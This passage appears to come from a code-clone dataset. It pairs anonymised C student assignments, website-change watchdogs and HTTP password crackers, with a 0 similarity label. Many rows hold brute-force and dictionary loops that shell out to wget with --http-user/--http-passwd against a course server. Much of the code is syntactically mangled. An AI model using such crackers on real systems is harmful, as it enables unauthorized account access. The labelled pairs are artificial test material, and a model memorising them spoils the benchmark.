system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
}
else
{
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./file.txt ./images");
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
| #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<ctype.h>
#include<time.h>
int ()
{
int m,n,o,i;
time_t u1,u2;
char v[3];
char temp1[100];
char temp2[100];
char temp3[250];
FILE *fin1;
char point[25];
fin1=fopen("./words.txt","r");
if(fin1==NULL)
{
printf(" open the file ");
exit(0);
}
strcpy(temp2," --http-user= --http-passwd=");
strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php");
strcpy(temp3,"");
(void) time(&u1);
while(!feof(fin1))
{
fgets(point,25,fin1);
if(strlen(point)<=4)
{
strcpy(temp3,temp1);
strcat(temp3,temp2);
strcat(temp3,point);
printf("\nSending the %s\n",temp3);
i=system(temp3);
if(i==0)
{
(void) time(&u2);
printf("\n The password is %s\n",point);
printf("\n\nThe time_var taken crack the passwork is %d second\n\n",(int)(u2-u1));
exit(0);
}
else
{
strcpy(temp3,"");
}
}
}
}
| 0 |
070.c | 021.c |
#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir data");
if((fp=fopen("./data/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html ./data");
}
else
{
system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./students/index.html ./data");
}
system("mkdir images");
if((fp=fopen("./images/file.txt","r"))==NULL)
{
system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
}
else
{
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./file.txt ./images");
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
|
#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
char a[100],c[100],c1[100],c2[100],m[50];
char b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
int i,j,k,count=0;
int total_time,start_time,end_time;
start_time = time();
for(i=0;i<52;i++)
{
m[0]=b[i];
m[1]='\0';
strcpy(c,m);
printf("%s \n",c);
for(j=0;j<52;j++)
{
m[0]=b[j];
m[1]='\0';
strcpy(c1,c);
strcat(c1,m);
printf("%s \n",c1);
for(k=0;k<52;k++)
{
count++;
printf("ATTEMPT :%d\n",count);
m[0]=b[k];
m[1]='\0';
strcpy(c2,c1);
strcat(c2,m);
strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");
strcat(a,c2);
if(system(a)==0)
{
printf("Congratulations!!!!BruteForce Attack Successful\n");
printf("***********************************************\n");
printf("The Password is %s\n",c2);
printf("The Request sent is %s\n",a);
end_time = time();
total_time = (end_time -start_time);
total_time /= 1000000000.0;
printf("The Time Taken is : %llds\n",total_time);
exit(1);
}
}
}
}
return 0;
}
| 0 |
070.c | 030.c |
#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir data");
if((fp=fopen("./data/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html ./data");
}
else
{
system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./students/index.html ./data");
}
system("mkdir images");
if((fp=fopen("./images/file.txt","r"))==NULL)
{
system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
}
else
{
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./file.txt ./images");
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
| #include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>
#include <sys/time.h>
#define OneBillion 1e9
int ()
{ int startTime, stopTime, final;
int i,j,k;
int pass,count=0;
char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'};
char [4];
char url1[100];
char url2[100];
startTime = time();
for (i=0;i<=52;i++)
{
for (j=0;j<=52;j++)
{
for(k=0;k<=52;k++)
{
count++;
[0] = arr[i];
[1] = arr[j];
[2] = arr[k];
[3] = '\0';
printf("Checking for the word :%s\n",);
strcpy(url1 ,"wget --http-user= --http-passwd=");
strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
strcat(url1,);
strcat(url1,url2);
pass = system(url1);
if (pass == 0)
{
printf("Success\n");
printf("Number of attempts = %d\n",count);
stopTime = time();
final = stopTime-startTime;
printf("The password for the user : %s\n",);
printf(" Cracked the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion);
exit(1);}
}
}
}
}
| 0 |
070.c | 044.c |
#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir data");
if((fp=fopen("./data/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html ./data");
}
else
{
system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./students/index.html ./data");
}
system("mkdir images");
if((fp=fopen("./images/file.txt","r"))==NULL)
{
system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
}
else
{
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./file.txt ./images");
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
char *itoa(int);
int ()
{
int t,t1,t2, timeinsec;
int nofattempts = 0;
char url[80], url1[80], *ur1, *ur2;
strcpy(url, "wget --http-user= --http-passwd=");
strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt");
int i = 65;
int j ;
int k ;
char *c1, *c2, *c3;
char *c12, pass[4];
int syst = 1;
char a = 'a';
char inside[50];
t1 = time();
for (i = 65; i <= 122; i++)
{
if (i > 90 && i < 97) continue;
for (j = 65; j <= 122; j++)
{
if (j > 90 && j < 97) continue;
for (k = 65; k <= 122; k++)
{
fflush(stdin);
if (k > 90 && k < 97) continue;
c1 = itoa(i);
c2 = itoa(j);
c3 = itoa(k);
pass[0] = *c1;
pass[1] = *c2;
pass[2] = *c3;
pass[3] = '\0';
strcat(url, pass);
strcat(url, url1);
++nofattempts;
syst = system(url);
printf("%s\n",pass);
if (syst == 0)
{
t2 = time();
t = t2 - t1;
timeinsec = t / 1000000000;
printf(" Total .of attempts :- %d", nofattempts);
printf("\n !!! 's the password:- %s\n", pass);
printf("\n Brute force has taken much of time_var :- %lld seconds\n", timeinsec);
exit(1);
}
strcpy(url, "");
strcpy(url, "wget --http-user= --http-passwd=");
}
}
}
exit(0);
}
char *itoa(int a)
{
char *[26] = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l",
"m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x",
"y", "z" };
char *[26] = { "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L",
"M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",
"Y", "Z" };
char *ret;
if ( a >= 97 && a <= 122)
{
ret = [a-97];
return ret;
}
if ( a >= 65 && a <= 90)
{
ret = [a-65];
return ret;
}
return "5";
}
| 0 |
070.c | 051.c |
#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir data");
if((fp=fopen("./data/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html ./data");
}
else
{
system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./students/index.html ./data");
}
system("mkdir images");
if((fp=fopen("./images/file.txt","r"))==NULL)
{
system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
}
else
{
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./file.txt ./images");
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
int ()
{
int time1, time2, time_var;
int timeinsec, nofattempts;
char url[100], url1[80];
strcpy(url, "wget --http-user= --http-passwd=");
strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt");
char word[15], *chk;
chk = "word";
FILE *fp;
int syst = 1;
fp = fopen("words", "r");
time1 = time();
while(chk != NULL)
{
chk = fgets(word, 15, fp);
if (chk == NULL) exit(1);
word [ strlen(word) - 1 ] = '\0';
strcat(url, word);
strcat(url, url1);
if (strlen(word) == 3)
{
syst = system(url);
nofattempts = nofattempts + 1;
printf("\n %s %d\n",word,nofattempts);
}
if (syst == 0)
{
time2 = time();
time_var = time2 - time1;
timeinsec = time_var/1000000000;
printf("\n The Password is: %s",word);
printf("\n of Attempts: %d\n",nofattempts);
printf("\n Time Taken: %d seconds\n", timeinsec);
exit(1);
}
strcpy(url, "");
strcpy(url, "wget --http-user= --http-passwd=");
}
}
| 0 |
070.c | 066.c |
#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir data");
if((fp=fopen("./data/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html ./data");
}
else
{
system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./students/index.html ./data");
}
system("mkdir images");
if((fp=fopen("./images/file.txt","r"))==NULL)
{
system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
}
else
{
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./file.txt ./images");
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
|
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int ()
{
int cntr=0;
char get[96];
char username[]="";
char password[16];
int R_VALUE;
double time_used;
clock_t , end;
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
= clock();
while ( fscanf(fp,"%s",&password) != EOF )
{
if(strlen(password)>3) continue;
cntr++;
printf("%d >> PASSWORD SEND : %s \n",cntr, password);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);
R_VALUE=system(get);
if(R_VALUE==0)
{
printf("The Password has been cracked and it is : %s" , password);
exit(0);
}
}
end = clock();
time_used = ((double) (end - )) / CLOCKS_PER_SEC;
printf("time_used = %f\n", time_used);
}
| 0 |
070.c | 026.c |
#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir data");
if((fp=fopen("./data/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html ./data");
}
else
{
system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./students/index.html ./data");
}
system("mkdir images");
if((fp=fopen("./images/file.txt","r"))==NULL)
{
system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
}
else
{
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./file.txt ./images");
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
|
#include <stdio.h>
#include <sys/time.h>
#include <strings.h>
#include <stdlib.h>
#include <ctype.h>
int ()
{
FILE *fileopen;
char *t_tst,chk[6];
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir original");
system("mv www.cs.rmit.edu./images/*.* original/");
system("mv www.cs.rmit.edu./students/*.* original/");
sleep(75);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir two");
system("mv www.cs.rmit.edu./images/*.* fresh/");
system("mv www.cs.rmit.edu./students/*.* fresh/");
system("diff one two > image_dif.txt");
fileopen = fopen("imagedif.txt","r");
t_tst = fgets(chk, 6, fileopen);
if (strlen(chk) != 0)
system("mailx -s \" WatchDog program has observed some Differences \" @.rmit.edu. < image_dif.txt");
return 0;
}
| 0 |
070.c | 067.c |
#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir data");
if((fp=fopen("./data/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html ./data");
}
else
{
system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./students/index.html ./data");
}
system("mkdir images");
if((fp=fopen("./images/file.txt","r"))==NULL)
{
system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
}
else
{
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./file.txt ./images");
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
|
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main ()
{
FILE *fp;
char s[300] , ptr[20];
system("rm *.html* ");
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html First.html");
system("sleep 10");
system("wget http://www.cs.rmit.edu./students/ ");
system("diff First.html index.html > difference.txt" );
fp=fopen("difference.txt","r");
if(fgets(ptr,30,fp))
{
system( "mailx -s \"Changes were detected \" < difference.txt ");
}
else
printf(" were changes detected");
return 0;
}
| 0 |
070.c | 024.c |
#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir data");
if((fp=fopen("./data/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html ./data");
}
else
{
system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./students/index.html ./data");
}
system("mkdir images");
if((fp=fopen("./images/file.txt","r"))==NULL)
{
system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
}
else
{
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./file.txt ./images");
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
| #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
char lc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
char uc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
char gc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
int a=0,b=0,c=0,d,e,count=0;
char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50];
char result,result1,result2,mx[100],mx1,mx2,mx3,mx4;
int ,end,t;
= time();
while(sizeof(lc)!=52)
{
temp2[0]=lc[d];
temp2[1]='\0';
d=d+1;
strcpy(p,temp2);
while(sizeof(uc)!=52)
{
temp3[0]=uc[b];
temp3[1]='\0';
b=b+1;
strcpy(q,p);
strcat(q,temp3);
for(e=0;e<52;e++)
{
temp1[0]=gc[e];
temp1[1]='\0';
strcpy(r,q);
strcat(r,temp1);
strcpy(mx,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd=");
strcat(mx,r);
printf("temp3=%s\n",mx);
if(system(mx)==0)
{
printf("Password=%s\n",mx);
printf("%d \n",count);
end = time();
t = (end -);
t /= 1000000000.0;
printf("The total time_var taken is:%llds\n",t);
exit(1);
}
}
}
}
return 0;
}
| 0 |
070.c | 009.c |
#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir data");
if((fp=fopen("./data/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html ./data");
}
else
{
system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./students/index.html ./data");
}
system("mkdir images");
if((fp=fopen("./images/file.txt","r"))==NULL)
{
system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
}
else
{
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./file.txt ./images");
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
int main()
{
char *wordptr = " word";
FILE *fp;
int syst = 1;
char string1[80], string2[50];
strcpy(string1, "wget --http-user= --http-passwd=");
strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/");
char words[30];
fp = fopen("words", "r");
while(wordptr != NULL)
{
wordptr = fgets(words, 30, fp);
if (wordptr == NULL) exit(1);
words [ strlen(words) - 1 ] = '\0';
strcat(string1, words);
strcat(string1, string2);
printf("\n %s \n",string1);
syst = system(string1);
if (syst == 0)
{
exit(1);
}
strcpy(string1, "");
strcpy(string1, "wget --http-user= --http-passwd=");
printf("%s", words);
}
}
| 0 |
000.c | 023.c | #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>
public static void main()
{
int i;
char ar[100];
FILE* f;
FILE* ;
system("wget -O first www.rmit.edu./students");
while(1)
{
sleep(86400);
system("rm -f thed");
system("rm -f new");
system("wget -O new www.cs.rmit.edu./students");
system("diff new first >thed");
f=fopen("thed","r");
if(fgets(ar,100,f)!=NULL)
{
printf("\n\n The has CHANGEDS");
system("mail @cs.rmit.edu. <thed");
system("cp new first");
fclose(f);
}
else
{
fclose(f);
printf("\n\nthe has not changed ");
}
}
}
| #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
FILE *fh,*fp,*fp1,*d;
char
[10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
sleep(60*60*24);
system("wget http://www.cs.rmit.edu./students");
if(system==0)
{
printf("File stored");
}
strcpy(filename,"index.html");
if((fh=fopen(filename,"r"))==NULL)
{
printf("cannot open file\n");
exit(1);
}
fp=fopen("index.txt","r");
fp1=fopen("index1.txt","r");
while((fgets(PassString,sizeof(PassString),fh))!= NULL)
{
fread(p,sizeof(PassString),sizeof(PassString),fh);
printf(" contents %s\n",p);
while((f1!=EOF) || (f2!=EOF))
{
f1=getc(fp);
f2=getc(fp1);
if(f1<f2)
{
strcpy(,p);
fp=fopen("index.txt","r+b");
fputs(,fp);
fflush(fp);
fclose(fp);
}
else
{
strcpy(temp1,p);
fp1=fopen("index1.txt","r+b");
fputs(temp1,fp1);
fflush(fp1);
fclose(fp1);
}
}
if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
{
d=fopen("Diff.txt","r");
if((fgets(,sizeof(),d))!=NULL)
{
printf("The difference between exist");
system("Mail \r\n Difference");
}
}
}
return 0;
}
| 0 |
000.c | 076.c | #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>
public static void main()
{
int i;
char ar[100];
FILE* f;
FILE* ;
system("wget -O first www.rmit.edu./students");
while(1)
{
sleep(86400);
system("rm -f thed");
system("rm -f new");
system("wget -O new www.cs.rmit.edu./students");
system("diff new first >thed");
f=fopen("thed","r");
if(fgets(ar,100,f)!=NULL)
{
printf("\n\n The has CHANGEDS");
system("mail @cs.rmit.edu. <thed");
system("cp new first");
fclose(f);
}
else
{
fclose(f);
printf("\n\nthe has not changed ");
}
}
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#define USERNAME ""
#define URL "sec-crack.cs.rmit.edu./SEC/2"
#define TEST_URL "yallara.cs.rmit.edu./~/secure"
#define MAX_PASSWD_LEN 3
#define MAX_CHAR_SET 52
#define TRUE 1
#define FALSE 0
typedef int (*CrackFuncPtr)(const char*, const char*);
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func);
char* initPasswdStr(int len, char ch);
int getChPos(const char chSet[], int numOfCh, char ch);
int pow(int x, int y);
int crackHTTPAuth(const char *username, const char *passwd);
int ()
{
char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K',
'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z'};
char charSetS[] = {'A', 'B', 'C'};
int i;
for (i=1; i<=MAX_PASSWD_LEN; i++)
{
if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth))
{
return 0;
}
}
printf("\n...password not found\n");
return 0;
}
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func)
{
int iter;
int chIter;
int curPos = 0;
char *str;
int passwdFound = FALSE;
str = initPasswdStr(len, chSet[0]);
printf("\nNow trying %d character(s)\n", len);
for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++)
{
for (chIter=len-1; chIter>=0; chIter--)
{
if (iter % pow(numOfCh, chIter) == 0)
{
curPos = getChPos(chSet, numOfCh, str[chIter]);
str[chIter] = chSet[curPos+1];
}
if (iter % pow(numOfCh, (chIter+1)) == 0)
{
str[chIter] = chSet[0];
}
}
if (func(USERNAME, str))
{
printf("\nPassword found: %s\n", str);
passwdFound = TRUE;
}
printf(".");
}
(str);
str = NULL;
return passwdFound;
}
int getChPos(const char chSet[], int numOfCh, char ch)
{
int i;
for (i=0; i<numOfCh; i++)
{
if (chSet[i] == ch)
{
return i;
}
}
return -1;
}
char* initPasswdStr(int len, char ch)
{
int i;
char *str;
str = malloc(len);
if (str)
{
for (i=0; i<len; i++)
{
str[i] = ch;
}
str[len] = '\0';
}
else
{
fprintf(stderr, "\nError: Unable allocate %d bytes memory.");
exit(1);
}
return str;
}
int pow(int x, int y)
{
int ans = 1, i;
for (i=0; i<y; i++)
{
ans *= x;
}
return ans;
}
int crackHTTPAuth(const char *username, const char *passwd)
{
char cmd[256];
struct stat fileInfo;
sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s",
username, passwd, URL);
system(cmd);
(void)stat("", &fileInfo);
return fileInfo.st_size;
}
| 0 |
000.c | 053.c | #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>
public static void main()
{
int i;
char ar[100];
FILE* f;
FILE* ;
system("wget -O first www.rmit.edu./students");
while(1)
{
sleep(86400);
system("rm -f thed");
system("rm -f new");
system("wget -O new www.cs.rmit.edu./students");
system("diff new first >thed");
f=fopen("thed","r");
if(fgets(ar,100,f)!=NULL)
{
printf("\n\n The has CHANGEDS");
system("mail @cs.rmit.edu. <thed");
system("cp new first");
fclose(f);
}
else
{
fclose(f);
printf("\n\nthe has not changed ");
}
}
}
| #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<ctype.h>
#include<time.h>
int ()
{
int m,n,o,i;
char URL[255];
char v[3];
char temp1[100];
char temp2[100];
char temp3[250];
char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'};
time_t u1,u2;
(void) time(&u1);
strcpy(temp1,"wget --http-user= --http-passwd=");
strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");
for(m=0;m<=51;m++)
{
v[0]=[m];
v[1]='\0';
v[2]='\0';
strcpy(URL,v);
printf("\nTesting with password %s\n",URL);
strcat(temp3,temp1);
strcat(temp3,URL);
strcat(temp3,temp2);
printf("\nSending the %s\n",temp3);
i=system(temp3);
if(i==0)
{
(void) time(&u2);
printf("\n The password is %s\n",URL);
printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1));
exit(0);
}
else
{
strcpy(temp3,"");
}
for(n=0;n<=51;n++)
{
v[0]=[m];
v[1]=[n];
v[2]='\0';
strcpy(URL,v);
printf("\nTesting with password %s\n",URL);
strcat(temp3,temp1);
strcat(temp3,URL);
strcat(temp3,temp2);
printf("\nSending the %s\n",temp3);
i=system(temp3);
if(i==0)
{
(void) time(&u2);
printf("\n The password is %s\n",URL);
printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1));
exit(0);
}
else
{
strcpy(temp3,"");
}
for(o=0;o<=51;o++)
{
v[0]=[m];
v[1]=[n];
v[2]=[o];
strcpy(URL,v);
printf("\nTesting with password %s\n",URL);
strcat(temp3,temp1);
strcat(temp3,URL);
strcat(temp3,temp2);
printf("\nSending the %s\n",temp3);
i=system(temp3);
if(i==0)
{
(void) time(&u2);
printf("\n The password is %s\n",URL);
printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1));
exit(0);
}
else
{
strcpy(temp3,"");
}
}
}
}
}
| 0 |
000.c | 045.c | #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>
public static void main()
{
int i;
char ar[100];
FILE* f;
FILE* ;
system("wget -O first www.rmit.edu./students");
while(1)
{
sleep(86400);
system("rm -f thed");
system("rm -f new");
system("wget -O new www.cs.rmit.edu./students");
system("diff new first >thed");
f=fopen("thed","r");
if(fgets(ar,100,f)!=NULL)
{
printf("\n\n The has CHANGEDS");
system("mail @cs.rmit.edu. <thed");
system("cp new first");
fclose(f);
}
else
{
fclose(f);
printf("\n\nthe has not changed ");
}
}
}
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
int ()
{
int t1, t2, t;
int timeinsec, nofattempts;
char url[100], url1[80];
strcpy(url, "wget --http-user= --http-passwd=");
strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt");
char word[15], *chk;
chk = "word";
FILE *fp;
int syst = 1;
fp = fopen("words", "r");
t1 = time();
while(chk != NULL)
{
chk = fgets(word, 15, fp);
if (chk == NULL) exit(1);
word [ strlen(word) - 1 ] = '\0';
strcat(url, word);
strcat(url, url1);
nofattempts = nofattempts + 1;
printf("\n %s %d\n",word,nofattempts);
if (strlen(word) == 3)
syst = system(url);
if (syst == 0)
{
t2 = time();
t = t2 - t1;
timeinsec = t/1000000000;
printf("\n !!! here's the passowrd:- %s",word);
printf("\n Total .of atempts: %d\n",nofattempts);
printf("\n The total time_var taken: %d seconds", timeinsec);
exit(1);
}
strcpy(url, "");
strcpy(url, "wget --http-user= --http-passwd=");
}
}
| 0 |
000.c | 031.c | #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>
public static void main()
{
int i;
char ar[100];
FILE* f;
FILE* ;
system("wget -O first www.rmit.edu./students");
while(1)
{
sleep(86400);
system("rm -f thed");
system("rm -f new");
system("wget -O new www.cs.rmit.edu./students");
system("diff new first >thed");
f=fopen("thed","r");
if(fgets(ar,100,f)!=NULL)
{
printf("\n\n The has CHANGEDS");
system("mail @cs.rmit.edu. <thed");
system("cp new first");
fclose(f);
}
else
{
fclose(f);
printf("\n\nthe has not changed ");
}
}
}
| #include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>
#include <sys/time.h>
#define OneBillion 1e9
int ()
{ int startTime, stopTime, final;
int i,j,k;
FILE* fp;
int pass,len;
int count = 0;
char [50];
char url1[100];
char url2[100];
startTime = time();
fp = fopen("/usr/share/lib/dict/words","r");
while (fp !='\0')
{
fgets( ,50,fp);
